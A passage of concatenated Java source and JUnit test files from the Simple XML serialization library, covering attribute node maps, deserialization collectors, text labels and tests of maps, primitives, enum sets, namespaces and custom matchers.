TODO fix this test
public void testAnonymousClass() throws Exception {
Persister persister = new Persister();
Anonymous anonymous = new Anonymous();
validate(persister, anonymous);
}
*/
public void testA() {}
}
<|start_filename|>src/main/java/org/simpleframework/xml/stream/InputNodeMap.java<|end_filename|>
/*
* InputNodeMap.java July 2006
*
* Copyright (C) 2006, <NAME> <<EMAIL>>
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or
* implied. See the License for the specific language governing
* permissions and limitations under the License.
*/
package org.simpleframework.xml.stream;
import java.util.LinkedHashMap;
import java.util.Iterator;
/**
* The <code>InputNodeMap</code> object represents a map to contain
* attributes used by an input node. This can be used as an empty
* node map, it can be used to extract its values from a start
* element. This creates <code>InputAttribute</code> objects for
* each node added to the map, these can then be used by an element
* input node to represent attributes as input nodes.
*
* @author <NAME>
*/
class InputNodeMap extends LinkedHashMap<String, InputNode> implements NodeMap<InputNode> {
/**
* This is the source node that this node map belongs to.
*/
private final InputNode source;
/**
* Constructor for the <code>InputNodeMap</code> object. This
* is used to create an empty input node map, which will create
* <code>InputAttribute</code> object for each inserted node.
*
* @param source this is the node this node map belongs to
*/
protected InputNodeMap(InputNode source) {
this.source = source;
}
/**
* Constructor for the <code>InputNodeMap</code> object. This
* is used to create an input node map, which will be populated
* with the attributes from the <code>StartElement</code> that
* is specified.
*
* @param source this is the node this node map belongs to
* @param element the element to populate the node map with
*/
public InputNodeMap(InputNode source, EventNode element) {
this.source = source;
this.build(element);
}
/**
* This is used to insert all attributes belonging to the start
* element to the map. All attributes acquired from the element
* are converted into <code>InputAttribute</code> objects so
* that they can be used as input nodes by an input node.
*
* @param element the element to acquire attributes from
*/
private void build(EventNode element) {
for(Attribute entry : element) {
InputAttribute value = new InputAttribute(source, entry);
if(!entry.isReserved()) {
put(value.getName(), value);
}
}
}
/**
* This is used to acquire the actual node this map represents.
* The source node provides further details on the context of
* the node, such as the parent name, the namespace, and even
* the value in the node. Care should be taken when using this.
*
* @return this returns the node that this map represents
*/
public InputNode getNode() {
return source;
}
/**
* This is used to get the name of the element that owns the
* nodes for the specified map. This can be used to determine
* which element the node map belongs to.
*
* @return this returns the name of the owning element
*/
public String getName() {
return source.getName();
}
/**
* This is used to add a new <code>InputAttribute</code> node to
* the map. The created node can be used by an input node to
* to represent the attribute as another input node. Once the
* node is created it can be acquired using the specified name.
*
* @param name this is the name of the node to be created
* @param value this is the value to be given to the node
*
* @return this returns the node that has just been added
*/
public InputNode put(String name, String value) {
InputNode node = new InputAttribute(source, name, value);
if(name != null) {
put(name, node);
}
return node;
}
/**
* This is used to remove the <code>Node</code> mapped to the
* given name. This returns a name value pair that represents
* an attribute. If no node is mapped to the specified name
* then this method will return a null value.
*
* @param name this is the name of the node to remove
*
* @return this will return the node mapped to the given name
*/
public InputNode remove(String name) {
return super.remove(name);
}
/**
* This is used to acquire the <code>Node</code> mapped to the
* given name. This returns a name value pair that represents
* an attribute. If no node is mapped to the specified name
* then this method will return a null value.
*
* @param name this is the name of the node to retrieve
*
* @return this will return the node mapped to the given name
*/
public InputNode get(String name) {
return super.get(name);
}
/**
* This returns an iterator for the names of all the nodes in
* this <code>NodeMap</code>. This allows the names to be
* iterated within a for each loop in order to extract nodes.
*
* @return this returns the names of the nodes in the map
*/
public Iterator<String> iterator() {
return keySet().iterator();
}
}
<|start_filename|>src/test/java/org/simpleframework/xml/core/CompositeMapTest.java<|end_filename|>
package org.simpleframework.xml.core;
import java.io.PrintWriter;
import java.lang.annotation.Annotation;
import java.util.HashMap;
import java.util.Map;
import junit.framework.TestCase;
import org.simpleframework.xml.ElementMap;
import org.simpleframework.xml.strategy.TreeStrategy;
import org.simpleframework.xml.stream.NodeBuilder;
import org.simpleframework.xml.stream.OutputNode;
public class CompositeMapTest extends TestCase {
private static class MockElementMap implements ElementMap {
private boolean attribute;
private boolean data;
private String entry;
private boolean inline;
private String key;
private Class keyType;
private String name;
private boolean required;
private String value;
private Class valueType;
public MockElementMap(
boolean attribute,
boolean data,
String entry,
boolean inline,
String key,
Class keyType,
String name,
boolean required,
String value,
Class valueType)
{
this.attribute = attribute;
this.data = data;
this.entry = entry;
this.inline = inline;
this.key = key;
this.keyType = keyType;
this.name = name;
this.required = required;
this.value = value;
this.valueType = valueType;
}
public boolean empty() {
return true;
}
public boolean attribute() {
return attribute;
}
public boolean data() {
return data;
}
public String entry() {
return entry;
}
public boolean inline() {
return inline;
}
public String key() {
return key;
}
public Class keyType() {
return keyType;
}
public String name() {
return name;
}
public boolean required() {
return required;
}
public String value() {
return value;
}
public double since() {
return 1.0;
}
public Class valueType() {
return valueType;
}
public Class<? extends Annotation> annotationType() {
return ElementMap.class;
}
}
private static class PrimitiveType {
private MockElementMap map;
private String string;
private int number;
private byte octet;
public PrimitiveType(MockElementMap map) {
this.map = map;
}
public Contact getString() throws Exception {
return new FieldContact(PrimitiveType.class.getDeclaredField("string"), map,new Annotation[0]);
}
public Contact getNumber() throws Exception {
return new FieldContact(PrimitiveType.class.getDeclaredField("number"), map,new Annotation[0]);
}
public Contact getOctet() throws Exception {
return new FieldContact(PrimitiveType.class.getDeclaredField("octet"), map,new Annotation[0]);
}
}
public void testInlineString() throws Exception
{
Source source = new Source(new TreeStrategy(), new Support(), new Session());
MockElementMap map = new MockElementMap(true, // attribute
false, // data
"entry", // entry
true, // inline
"key", // key
String.class, // keyType
"name", // name
true, // required
"value", // value
String.class); // valueType
PrimitiveType type = new PrimitiveType(map);
Contact string = type.getString();
Entry entry = new Entry(string, map);
CompositeMap value = new CompositeMap(source, entry, new ClassType(Map.class));
OutputNode node = NodeBuilder.write(new PrintWriter(System.out));
Map exampleMap = new HashMap();
exampleMap.put("a", "1");
exampleMap.put("b", "2");
value.write(node.getChild("inlineString"), exampleMap);
node.commit();
}
public void testNotInlineString() throws Exception
{
Source source = new Source(new TreeStrategy(), new Support(), new Session());
MockElementMap map = new MockElementMap(false, // attribute
false, // data
"entry", // entry
true, // inline
"key", // key
String.class, // keyType
"name", // name
true, // required
"value", // value
String.class); // valueType
PrimitiveType type = new PrimitiveType(map);
Contact string = type.getString();
Entry entry = new Entry(string, map);
CompositeMap value = new CompositeMap(source, entry, new ClassType(Map.class));
OutputNode node = NodeBuilder.write(new PrintWriter(System.out));
Map exampleMap = new HashMap();
exampleMap.put("a", "1");
exampleMap.put("b", "2");
value.write(node.getChild("notInlineString"), exampleMap);
node.commit();
}
public void testNoAttributeString() throws Exception
{
Source source = new Source(new TreeStrategy(), new Support(), new Session());
MockElementMap map = new MockElementMap(false, // attribute
false, // data
"entry", // entry
true, // inline
"", // key
String.class, // keyType
"name", // name
true, // required
"value", // value
String.class); // valueType
PrimitiveType type = new PrimitiveType(map);
Contact string = type.getString();
Entry entry = new Entry(string, map);
CompositeMap value = new CompositeMap(source, entry, new ClassType(Map.class));
OutputNode node = NodeBuilder.write(new PrintWriter(System.out));
Map exampleMap = new HashMap();
exampleMap.put("a", "1");
exampleMap.put("b", "2");
value.write(node.getChild("noAttributeString"), exampleMap);
node.commit();
}
public void testAttributeNoKeyString() throws Exception
{
Source source = new Source(new TreeStrategy(), new Support(), new Session());
MockElementMap map = new MockElementMap(true, // attribute
false, // data
"entry", // entry
true, // inline
"", // key
String.class, // keyType
"name", // name
true, // required
"value", // value
String.class); // valueType
PrimitiveType type = new PrimitiveType(map);
Contact string = type.getString();
Entry entry = new Entry(string, map);
CompositeMap value = new CompositeMap(source, entry, new ClassType(Map.class));
OutputNode node = NodeBuilder.write(new PrintWriter(System.out));
Map exampleMap = new HashMap();
exampleMap.put("a", "1");
exampleMap.put("b", "2");
value.write(node.getChild("attributeNoKeyString"), exampleMap);
node.commit();
}
}
<|start_filename|>src/test/java/org/simpleframework/xml/core/PrimitiveTest.java<|end_filename|>
package org.simpleframework.xml.core;
import java.io.StringReader;
import junit.framework.TestCase;
import org.simpleframework.xml.strategy.CycleStrategy;
import org.simpleframework.xml.strategy.TreeStrategy;
import org.simpleframework.xml.stream.InputNode;
import org.simpleframework.xml.stream.NodeBuilder;
public class PrimitiveTest extends TestCase {
public static final String SOURCE =
"<value class='java.lang.String'>some text</value>";
public static final String CYCLE_1 =
"<value id='1' class='java.lang.String'>some text</value>";
public static final String CYCLE_2 =
"<value id='2' class='java.lang.String'>some text</value>";
public void testPrimitive() throws Exception {
Context context = new Source(new TreeStrategy(), new Support(), new Session());
Primitive primitive = new Primitive(context, new ClassType(String.class));
InputNode node = NodeBuilder.read(new StringReader(SOURCE));
Object value = primitive.read(node);
assertEquals("some text", value);
InputNode newNode = NodeBuilder.read(new StringReader(SOURCE));
assertTrue(primitive.validate(newNode));
}
public void testPrimitiveCycle() throws Exception {
Context context = new Source(new CycleStrategy(), new Support(), new Session());
Primitive primitive = new Primitive(context, new ClassType(String.class));
InputNode node = NodeBuilder.read(new StringReader(CYCLE_1));
Object value = primitive.read(node);
assertEquals("some text", value);
// Need to use a different id for validate as reading has created the object
// and an exception is thrown that the value already exists if id=1 is used
InputNode newNode = NodeBuilder.read(new StringReader(CYCLE_2));
assertTrue(primitive.validate(newNode));
}
}
<|start_filename|>src/test/java/org/simpleframework/xml/core/EnumSetTest.java<|end_filename|>
package org.simpleframework.xml.core;
import java.util.EnumSet;
import org.simpleframework.xml.ElementList;
import org.simpleframework.xml.Root;
import org.simpleframework.xml.ValidationTestCase;
public class EnumSetTest extends ValidationTestCase {
private static enum Qualification {
BEGINNER,
EXPERIENCED,
EXPERT,
GURU
}
@Root
private static class EnumSetExample {
@ElementList
private EnumSet<Qualification> set = EnumSet.noneOf(Qualification.class);
public EnumSetExample() {
super();
}
public void add(Qualification qualification) {
set.add(qualification);
}
public boolean contains(Qualification qualification) {
return set.contains(qualification);
}
}
public void testEnumSet() throws Exception {
Persister persister = new Persister();
EnumSetExample example = new EnumSetExample();
example.add(Qualification.BEGINNER);
example.add(Qualification.EXPERT);
assertTrue(example.contains(Qualification.BEGINNER));
assertTrue(example.contains(Qualification.EXPERT));
assertFalse(example.contains(Qualification.GURU));
persister.write(example, System.out);
validate(persister, example);
}
}
<|start_filename|>src/test/java/org/simpleframework/xml/core/EntryTest.java<|end_filename|>
package org.simpleframework.xml.core;
import java.lang.annotation.Annotation;
import java.lang.reflect.Field;
import java.util.Map;
import junit.framework.TestCase;
import org.simpleframework.xml.Attribute;
import org.simpleframework.xml.ElementMap;
import org.simpleframework.xml.Root;
import org.simpleframework.xml.core.Contact;
import org.simpleframework.xml.core.Entry;
import org.simpleframework.xml.core.FieldContact;
public class EntryTest extends TestCase {
@Root
private static class CompositeKey {
@Attribute
private String value;
public String getValue() {
return value;
}
}
@ElementMap
private Map<String, String> defaultMap;
@ElementMap(keyType=Integer.class, valueType=Long.class)
private Map annotatedMap;
@ElementMap(value="value")
private Map<String, String> bodyMap;
@ElementMap(value="value", key="key", attribute=true)
private Map<String, String> attributeMap;
@ElementMap(entry="entry")
private Map<Double, String> entryMap;
@ElementMap
private Map<CompositeKey, String> compositeMap;
public void testEntry() throws Exception {
Entry entry = getEntry(EntryTest.class, "defaultMap");
assertEquals(entry.getKeyType().getType(), String.class);
assertEquals(entry.getValueType().getType(), String.class);
assertEquals(entry.getValue(), null);
assertEquals(entry.getKey(), null);
assertEquals(entry.getEntry(), "entry");
entry = getEntry(EntryTest.class, "annotatedMap");
assertEquals(entry.getKeyType().getType(), Integer.class);
assertEquals(entry.getValueType().getType(), Long.class);
assertEquals(entry.getValue(), null);
assertEquals(entry.getKey(), null);
assertEquals(entry.getEntry(), "entry");
entry = getEntry(EntryTest.class, "bodyMap");
assertEquals(entry.getKeyType().getType(), String.class);
assertEquals(entry.getValueType().getType(), String.class);
assertEquals(entry.getValue(), "value");
assertEquals(entry.getKey(), null);
assertEquals(entry.getEntry(), "entry");
entry = getEntry(EntryTest.class, "attributeMap");
assertEquals(entry.getKeyType().getType(), String.class);
assertEquals(entry.getValueType().getType(), String.class);
assertEquals(entry.getValue(), "value");
assertEquals(entry.getKey(), "key");
assertEquals(entry.getEntry(), "entry");
entry = getEntry(EntryTest.class, "entryMap");
assertEquals(entry.getKeyType().getType(), Double.class);
assertEquals(entry.getValueType().getType(), String.class);
assertEquals(entry.getValue(), null);
assertEquals(entry.getKey(), null);
assertEquals(entry.getEntry(), "entry");
entry = getEntry(EntryTest.class, "compositeMap");
assertEquals(entry.getKeyType().getType(), CompositeKey.class);
assertEquals(entry.getValueType().getType(), String.class);
assertEquals(entry.getValue(), null);
assertEquals(entry.getKey(), null);
assertEquals(entry.getEntry(), "entry");
}
public Entry getEntry(Class type, String name) throws Exception {
Contact contact = getContact(EntryTest.class, name);
ElementMap label = getField(EntryTest.class, name).getAnnotation(ElementMap.class);
Entry entry = new Entry(contact, label);
return entry;
}
public Contact getContact(Class type, String name) throws Exception {
Field field = getField(type, name);
Annotation label = field.getAnnotation(ElementMap.class);
return new FieldContact(field, label,new Annotation[]{label});
}
public Annotation getAnnotation(Field field) {
Annotation[] list = field.getDeclaredAnnotations();
for(Annotation label : list) {
if(label instanceof ElementMap) {
return label;
}
}
return null;
}
public Field getField(Class type, String name) throws Exception {
return type.getDeclaredField(name);
}
}
<|start_filename|>src/test/java/org/simpleframework/xml/core/MixTest.java<|end_filename|>
package org.simpleframework.xml.core;
import java.io.StringWriter;
import java.util.Calendar;
import java.util.Date;
import java.util.GregorianCalendar;
import org.simpleframework.xml.Attribute;
import org.simpleframework.xml.Element;
import org.simpleframework.xml.Root;
import org.simpleframework.xml.Serializer;
import org.simpleframework.xml.Text;
import org.simpleframework.xml.ValidationTestCase;
public class MixTest extends ValidationTestCase {
@Root
private static class MixExample {
// @ElementList
// private List<Object> list;
// @ElementMap
// private Map<Object, Object> map;
@Element
private Calendar calendar;
public MixExample() {
// this.list = new ArrayList();
// this.map = new HashMap();
}
private void setTime(Date date) {
calendar = new GregorianCalendar();
calendar.setTime(date);
}
// public void put(Object key, Object value) {
// map.put(key, value);
// }
// public Object get(int index) {
// return list.get(index);
// }
// public void add(Object object) {
// list.add(object);
//}
}
@Root
private static class Entry {
@Attribute
private String id;
@Text
private String text;
public Entry() {
super();
}
public Entry(String id, String text) {
this.id = id;
this.text = text;
}
}
public void testMix() throws Exception {
Serializer serializer = new Persister();
MixExample example = new MixExample();
StringWriter source = new StringWriter();
example.setTime(new Date());
// example.add("text");
// example.add(1);
// example.add(true);
// example.add(new Entry("1", "example 1"));
// example.add(new Entry("2", "example 2"));
// example.put(new Entry("1", "key 1"), new Entry("1", "value 1"));
// example.put("key 2", "value 2");
// example.put("key 3", 3);
// example.put("key 4", new Entry("4", "value 4"));
serializer.write(example, System.out);
serializer.write(example, source);
serializer.validate(MixExample.class, source.toString());
MixExample other = serializer.read(MixExample.class, source.toString());
serializer.write(other, System.out);
// assertEquals(example.get(0), "text");
// assertEquals(example.get(1), 1);
// assertEquals(example.get(2), true);
validate(example, serializer);
}
}
<|start_filename|>src/test/java/org/simpleframework/xml/core/NamespaceScopeTest.java<|end_filename|>
package org.simpleframework.xml.core;
import java.io.StringWriter;
import org.simpleframework.xml.Element;
import org.simpleframework.xml.Namespace;
import org.simpleframework.xml.Root;
import org.simpleframework.xml.ValidationTestCase;
public class NamespaceScopeTest extends ValidationTestCase {
private static final String SOURCE =
"<a xmlns='http://domain/a'>\n"+
" <pre:b xmlns:pre='http://domain/b'>\n"+
" <c>c</c>\n"+
" <d xmlns=''>\n"+
" <e>e</e>\n"+
" </d>\n"+
" </pre:b>\n"+
"</a>";
@Root
@Namespace(reference="http://domain/a")
private static class A {
@Element
@Namespace(prefix="pre", reference="http://domain/b")
private B b;
}
@Root
private static class B {
@Element
private String c;
@Element
@Namespace
private D d;
}
@Root
private static class D{
@Element
private String e;
}
public void testScope() throws Exception {
Persister persister = new Persister();
StringWriter writer = new StringWriter();
A example = persister.read(A.class, SOURCE);
assertEquals(example.b.c, "c");
assertEquals(example.b.d.e, "e");
assertElementHasNamespace(SOURCE, "/a", "http://domain/a");
assertElementHasNamespace(SOURCE, "/a/b", "http://domain/b");
assertElementHasNamespace(SOURCE, "/a/b/c", "http://domain/a");
assertElementHasNamespace(SOURCE, "/a/b/d", null);
assertElementHasNamespace(SOURCE, "/a/b/d/e", null);
persister.write(example, writer);
String text = writer.toString();
System.out.println(text);
assertElementHasNamespace(text, "/a", "http://domain/a");
assertElementHasNamespace(text, "/a/b", "http://domain/b");
assertElementHasNamespace(text, "/a/b/c", "http://domain/a");
assertElementHasNamespace(text, "/a/b/d", null);
assertElementHasNamespace(text, "/a/b/d/e", null);
}
}
<|start_filename|>src/test/java/org/simpleframework/xml/core/MatcherTest.java<|end_filename|>
package org.simpleframework.xml.core;
import java.io.StringWriter;
import org.simpleframework.xml.Attribute;
import org.simpleframework.xml.Element;
import org.simpleframework.xml.Namespace;
import org.simpleframework.xml.Root;
import org.simpleframework.xml.Serializer;
import org.simpleframework.xml.ValidationTestCase;
import org.simpleframework.xml.transform.Matcher;
import org.simpleframework.xml.transform.Transform;
public class MatcherTest extends ValidationTestCase {
@Root
@Namespace(prefix="foo", reference="http://www.domain.com/value")
private static class Example {
@Element
private Integer value;
@Attribute
private Integer attr;
public Example() {
super();
}
public Example(Integer value, Integer attr) {
this.value = value;
this.attr = attr;
}
}
@Root
private static class EmptyStringExample {
@Element(required=false)
private String emptyValue;
@Element(required=false)
private String nullValue;
public EmptyStringExample() {
super();
}
public EmptyStringExample(String emptyValue, String nullValue) {
this.emptyValue = emptyValue;
this.nullValue = nullValue;
}
}
@Root
private static class ExampleEnum {
@Attribute
private MyEnum value;
public ExampleEnum(@Attribute(name="value") MyEnum value) {
this.value = value;
}
}
private static class ExampleIntegerMatcher implements Matcher, Transform<Integer> {
public Transform match(Class type) throws Exception {
if(type == Integer.class) {
return this;
}
return null;
}
public Integer read(String value) throws Exception {
return Integer.valueOf(value);
}
public String write(Integer value) throws Exception {
return "12345";
}
}
private static class ExampleStringMatcher implements Matcher, Transform<String> {
public Transform match(Class type) throws Exception {
if(type == String.class) {
return this;
}
return null;
}
public String read(String value) throws Exception {
if(value != null) {
if(value.equals("[[NULL]]")) {
return null;
}
if(value.equals("[[EMPTY]]")) {
return "";
}
}
return value;
}
public String write(String value) throws Exception {
if(value == null) {
return "[[NULL]]";
}
if(value.equals("")) {
return "[[EMPTY]]";
}
return value;
}
}
private static enum MyEnum {
A_1,
B_2,
C_3,
}
private static class ExampleEnumMatcher implements Matcher, Transform<MyEnum> {
public Transform match(Class type) throws Exception {
if(type == MyEnum.class) {
return this;
}
return null;
}
public MyEnum read(String value) throws Exception {
return Enum.valueOf(MyEnum.class, value);
}
public String write(MyEnum value) throws Exception {
return value.name().replace('_', '-');
}
}
public void testMatcher() throws Exception {
Matcher matcher = new ExampleIntegerMatcher();
Serializer serializer = new Persister(matcher);
Example example = new Example(1, 9999);
serializer.write(example, System.out);
validate(serializer, example);
}
public void testEnumMatcher() throws Exception {
Matcher matcher = new ExampleEnumMatcher();
Serializer serializer = new Persister(matcher);
ExampleEnum value = new ExampleEnum(MyEnum.A_1);
StringWriter writer = new StringWriter();
serializer.write(value, writer);
assertElementHasAttribute(writer.toString(), "/exampleEnum", "value", "A-1");
System.out.println(writer.toString());
validate(serializer, value);
}
public void testStringMatcher() throws Exception {
Matcher matcher = new ExampleStringMatcher();
Serializer serializer = new Persister(matcher);
EmptyStringExample original = new EmptyStringExample("", null);
StringWriter writer = new StringWriter();
serializer.write(original, writer);
String text = writer.toString();
System.out.println(text);
EmptyStringExample recovered = serializer.read(EmptyStringExample.class, text);
assertEquals(recovered.emptyValue, original.emptyValue);
assertEquals(recovered.nullValue, original.nullValue);
}
}
<|start_filename|>src/main/java/org/simpleframework/xml/core/Collector.java<|end_filename|>
/*
* Collector.java December 2007
*
* Copyright (C) 2007, <NAME> <<EMAIL>>
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or
* implied. See the License for the specific language governing
* permissions and limitations under the License.
*/
package org.simpleframework.xml.core;
import java.util.Collection;
import java.util.Iterator;
import java.util.LinkedHashMap;
/**
* The <code>Collector</code> object is used to store variables for
* a deserialized object. Each variable contains the label and value
* for a field or method. The <code>Composite</code> object uses
* this to store deserialized values before committing them to the
* objects methods and fields.
*
* @author <NAME>
*
* @see org.simpleframework.xml.core.Composite
*/
class Collector implements Criteria {
/**
* This is the registry containing all the variables collected.
*/
private final Registry registry;
/**
* This is the registry that contains variables mapped to paths.
*/
private final Registry alias;
/**
* Constructor for the <code>Collector</code> object. This is
* used to store variables for an objects fields and methods.
* Each variable is stored using the name of the label.
*/
public Collector() {
this.registry = new Registry();
this.alias = new Registry();
}
/**
* This is used to get the <code>Variable</code> that represents
* a deserialized object. The variable contains all the meta
* data for the field or method and the value that is to be set
* on the method or field.
*
* @param key this is the key of the variable to be acquired
*
* @return this returns the keyed variable if it exists
*/
public Variable get(Object key) {
return registry.get(key);
}
/**
* This is used to get the <code>Variable</code> that represents
* a deserialized object. The variable contains all the meta
* data for the field or method and the value that is to be set
* on the method or field.
*
* @param label this is the label to resolve the variable with
*
* @return this returns the variable associated with the label
*/
public Variable get(Label label) throws Exception {
if(label != null) {
Object key = label.getKey();
return registry.get(key);
}
return null;
}
/**
* This is used to resolve the <code>Variable</code> by using
* the union names of a label. This will also acquire variables
* based on the actual name of the variable.
*
* @param path this is the path of the variable to be acquired
*
* @return this returns the variable mapped to the path
*/
public Variable resolve(String path) {
return alias.get(path);
}
/**
* This is used to remove the <code>Variable</code> from this
* criteria object. When removed, the variable will no longer be
* used to set the method or field when the <code>commit</code>
* method is invoked.
*
* @param key this is the key associated with the variable
*
* @return this returns the keyed variable if it exists
*/
public Variable remove(Object key) throws Exception{
return registry.remove(key);
}
/**
* This is used to acquire an iterator over the named variables.
* Providing an <code>Iterator</code> allows the criteria to be
* used in a for each loop. This is primarily for convenience.
*
* @return this returns an iterator of all the variable names
*/
public Iterator<Object> iterator() {
return registry.iterator();
}
/**
* This is used to create a <code>Variable</code> and set it for
* this criteria. The variable can be retrieved at a later stage
* using the name of the label. This allows for repeat reads as
* the variable can be used to acquire the labels converter.
*
* @param label this is the label used to create the variable
* @param value this is the value of the object to be read
*/
public void set(Label label, Object value) throws Exception {
Variable variable = new Variable(label, value);
if(label != null) {
String[] paths = label.getPaths();
Object key = label.getKey();
for(String path : paths) {
alias.put(path, variable);
}
registry.put(key, variable);
}
}
/**
* This is used to set the values for the methods and fields of
* the specified object. Invoking this performs the population
* of an object being deserialized. It ensures that each value
* is set after the XML element has been fully read.
*
* @param source this is the object that is to be populated
*/
public void commit(Object source) throws Exception {
Collection<Variable> set = registry.values();
for(Variable entry : set) {
Contact contact = entry.getContact();
Object value = entry.getValue();
contact.set(source, value);
}
}
/**
* The <code>Registry</code> object is used to store variables
* for the collector. All variables are stored under its name so
* that they can be later retrieved and used to populate the
* object when deserialization of all variables has finished.
*
* @author <NAME>
*/
private static class Registry extends LinkedHashMap<Object, Variable> {
/**
* This is used to iterate over the names of the variables
* in the registry. This is primarily used for convenience
* so that the variables can be acquired in a for each loop.
*
* @return an iterator containing the names of the variables
*/
public Iterator<Object> iterator() {
return keySet().iterator();
}
}
}
<|start_filename|>src/main/java/org/simpleframework/xml/core/TextLabel.java<|end_filename|>
/*
* TextLabel.java April 2007
*
* Copyright (C) 2007, <NAME> <<EMAIL>>
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or
* implied. See the License for the specific language governing
* permissions and limitations under the License.
*/
package org.simpleframework.xml.core;
import java.lang.annotation.Annotation;
import org.simpleframework.xml.Text;
import org.simpleframework.xml.strategy.Type;
import org.simpleframework.xml.stream.Format;
/**
* The <code>TextLabel</code> represents a label that is used to get
* a converter for a text entry within an XML element. This label is
* used to convert an XML text entry into a primitive value such as
* a string or an integer, this will throw an exception if the field
* value does not represent a primitive object.
*
* @author <NAME>
*
* @see org.simpleframework.xml.Text
*/
class TextLabel extends TemplateLabel {
/**
* This represents the signature of the annotated contact.
*/
private Introspector detail;
/**
* This is the path that is used to represent this text.
*/
private Expression path;
/**
* The contact that this annotation label represents.
*/
private Contact contact;
/**
* References the annotation that was used by the contact.
*/
private Text label;
/**
* This is the type of the class that the field references.
*/
private Class type;
/**
* This is the default value to use if the real value is null.
*/
private String empty;
/**
* This is used to determine if the attribute is required.
*/
private boolean required;
/**
* This is used to determine if the attribute is data.
*/
private boolean data;
/**
* Constructor for the <code>TextLabel</code> object. This is
* used to create a label that can convert a XML node into a
* primitive value from an XML element text value.
*
* @param contact this is the contact this label represents
* @param label this is the annotation for the contact
* @param format this is the format used for this label
*/
public TextLabel(Contact contact, Text label, Format format) {
this.detail = new Introspector(contact, this, format);
this.required = label.required();
this.type = contact.getType();
this.empty = label.empty();
this.data = label.data();
this.contact = contact;
this.label = label;
}
/**
* This is used to acquire the <code>Decorator</code> for this.
* A decorator is an object that adds various details to the
* node without changing the overall structure of the node. For
* example comments and namespaces can be added to the node with
* a decorator as they do not affect the deserialization.
*
* @return this returns the decorator associated with this
*/
public Decorator getDecorator() throws Exception {
return null;
}
/**
* Creates a converter that can be used to transform an XML node to
* an object and vice versa. The converter created will handles
* only XML text and requires the context object to be provided.
*
* @param context this is the context object used for serialization
*
* @return this returns a converter for serializing XML elements
*/
public Converter getConverter(Context context) throws Exception {
String ignore = getEmpty(context);
Type type = getContact();
if(!context.isPrimitive(type)) {
throw new TextException("Cannot use %s to represent %s", type, label);
}
return new Primitive(context, type, ignore);
}
/**
* This is used to provide a configured empty value used when the
* annotated value is null. This ensures that XML can be created
* with required details regardless of whether values are null or
* not. It also provides a means for sensible default values.
*
* @param context this is the context object for the serialization
*
* @return this returns the string to use for default values
*/
public String getEmpty(Context context) {
if(detail.isEmpty(empty)) {
return null;
}
return empty;
}
/**
* This is used to acquire the path of the element or attribute
* that is used by the class schema. The path is determined by
* acquiring the XPath expression and appending the name of the
* label to form a fully qualified path.
*
* @return returns the path that is used for the XML property
*/
public String getPath() throws Exception {
return getExpression().getPath();
}
/**
* This method is used to return an XPath expression that is
* used to represent the position of this label. If there is no
* XPath expression associated with this then an empty path is
* returned. This will never return a null expression.
*
* @return the XPath expression identifying the location
*/
public Expression getExpression() throws Exception {
if(path == null) {
path = detail.getExpression();
}
return path;
}
/**
* This acquires the annotation associated with this label. This
* is typically the annotation acquired from the field or method.
* However, in the case of unions this will return the actual
* annotation within the union group that this represents.
*
* @return this returns the annotation that this represents
*/
public Annotation getAnnotation() {
return label;
}
/**
* This is used to acquire the contact object for this label. The
* contact retrieved can be used to set any object or primitive that
* has been deserialized, and can also be used to acquire values to
* be serialized in the case of object persistence. All contacts
* that are retrieved from this method will be accessible.
*
* @return returns the contact that this label is representing
*/
public Contact getContact() {
return contact;
}
/**
* This is used to acquire the name of the element or attribute
* that is used by the class schema. The name is determined by
* checking for an override within the annotation. If it contains
* a name then that is used, if however the annotation does not
* specify a name the the field or method name is used instead.
*
* @return returns the name that is used for the XML property
*/
public String getName() {
return "";
}
/**
* This is used to acquire the name of the element or attribute
* as taken from the annotation. If the element or attribute
* explicitly specifies a name then that name is used for the
* XML element or attribute used. If however no overriding name
* is provided then the method or field is used for the name.
*
* @return returns the name of the annotation for the contact
*/
public String getOverride(){
return contact.toString();
}
/**
* This acts as a convenience method used to determine the type of
* contact this represents. This is used when an object is written
* to XML. It determines whether a <code>class</code> attribute
* is required within the serialized XML element, that is, if the
* class returned by this is different from the actual value of the
* object to be serialized then that type needs to be remembered.
*
* @return this returns the type of the contact class
*/
public Class getType() {
return type;
}
/**
* This is used to determine whether the XML element is required.
* This ensures that if an XML element is missing from a document
* that deserialization can continue. Also, in the process of
* serialization, if a value is null it does not need to be
* written to the resulting XML document.
*
* @return true if the label represents a some required data
*/
public boolean isRequired() {
return required;
}
/**
* This is used to determine if the <code>Text</code> method or
* field is to have its value written as a CDATA block. This will
* set the output node to CDATA mode if this returns true, if it
* is false data will be written according to an inherited mode.
* By default inherited mode results in escaped XML text.
*
* @return this returns true if the text is to be a CDATA block
*/
public boolean isData() {
return data;
}
/**
* This is used to determine if the label represents text. If
* a label represents text it typically does not have a name,
* instead the empty string represents the name. Also text
* labels can not exist with other text labels, or elements.
*
* @return this returns true if this label represents text
*/
public boolean isText() {
return true;
}
/**
* This method is used by the deserialization process to check
* to see if an annotation is inline or not. If an annotation
* represents an inline XML entity then the deserialization
* and serialization process ignores overrides and special
* attributes. By default all text entities are inline.
*
* @return this always returns true for text labels
*/
public boolean isInline() {
return true;
}
/**
* This is used to describe the annotation and method or field
* that this label represents. This is used to provide error
* messages that can be used to debug issues that occur when
* processing a method. This will provide enough information
* such that the problem can be isolated correctly.
*
* @return this returns a string representation of the label
*/
public String toString() {
return detail.toString();
}
}
<|start_filename|>src/test/java/org/simpleframework/xml/core/ConstructorInjectionTest.java<|end_filename|>
package org.simpleframework.xml.core;
import org.simpleframework.xml.Attribute;
import org.simpleframework.xml.Element;
import org.simpleframework.xml.ElementArray;
import org.simpleframework.xml.Root;
